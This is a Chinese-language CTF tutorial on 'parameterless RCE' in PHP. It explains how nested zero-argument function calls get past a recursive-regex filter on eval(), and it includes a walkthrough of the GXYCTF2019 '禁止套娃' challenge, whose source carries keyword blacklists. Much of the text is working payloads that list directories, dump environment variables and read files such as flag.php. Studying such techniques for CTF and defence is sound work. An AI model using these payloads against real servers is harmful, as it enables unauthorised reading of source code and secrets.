无参数RCE

一、什么是无参数RCE?

顾名思义,就是只使用函数,且函数不能带有参数,这里有很多限制:比如我们选择的函数必须能接受其括号内函数的返回值;所使用函数的参数必须为空或者为参数

比如:a(b(c()));可以使用,但是a(‘b’)或者a(‘b’,’c’)这种含有参数的都不能使用

有些题目我们必须使用无参数的函数才能进行命令执行、任意文件读取、查看当前目录文件名等操作

举例:

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>

关键代码

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式,所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

二、常见函数

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

getallheaders()

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

?code=print_r(getallheaders()); 

数组会返回 HTTP 请求头。

get_defined_vars()

getallheaders()是有局限性的,因为如果中间件不是apache的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars(),这种方法其实和上面那种方法原理是差不多的,它并不是获取的headers,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE

?code=var_dump(get_defined_vars()); 

var_dump可以把返回数组打印出来。

getenv()

获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本

?code=var_dump(getenv());

php7.0以下返回bool(false)

image-20220930224436363

php7.0以上正常回显。

?code=var_dump(getenv(phpinfo()));

phpinfo()可以获取所有环境变量。

scandir()

文件读取

查看当前目录文件名

print_r(scandir(current(localeconv())));

读取当前目录文件

当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

localeconv()

官方解释:localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

current()和pos()

pos()函数是current()函数的别名,两者是完全一样的,

它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。

chdir()

这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir('..')

array_reverse()

将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

highlight_file()

打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

三、实战例题-[GXYCTF2019]禁止套娃

这道题目打开就是一个普通的页面,经过目录扫描会发现是git源码泄露,用Githack把源码弄出来:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

代码分析

首先看第一行关键代码:

!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])

很明显,大概意思就是不让我们用伪协议去写或者是读文件。

然后看第二行关键代码:

';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

再看第二个正则,中间有一个(?R),这个式子他会递归调用当前的正则表达式,就是说会出现\w+((?R)?),\w+(\w+((?R)?))的情况,也就是无参数函数校验。

最后第三行关键代码:

!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])

就是屏蔽了一些函数名的关键字之类的东西。

分析完成我们整理一下:不能用伪协议 、只能用无参数函数形式、注意函数过滤

解题步骤

首先遍历当前目录:

?exp=print_r(scandir(current(localeconv())));

image-20220930224447474

顺利得到目录。

方法一:

可以看到flag.php是倒数第二个,那我们把它反转一下,然后再用一个next()就是flag.php这个文件了:

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

image-20220930224455165

已经很接近答案了,用highlight_file读取这个文件就拿到flag了:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

image-20220930224501472

思路总结

scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

方法二:

我们已经知道了flag就在当前目录下了。
array_rand()函数可以随机读取一个数组键,array_flip()又可以将数组中的键和值进行对换。
用这两个函数就可以实现对flag.php的读取。最后payload如下:

?exp=print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));

image-20220930224509983

因为array_rand()的选取是随机的,所以不一定会直接出来,多刷新几次就可以了

四、参考文章

无参数命令执行学习

RCE篇之无参数rce

无参数读文件和RCE总结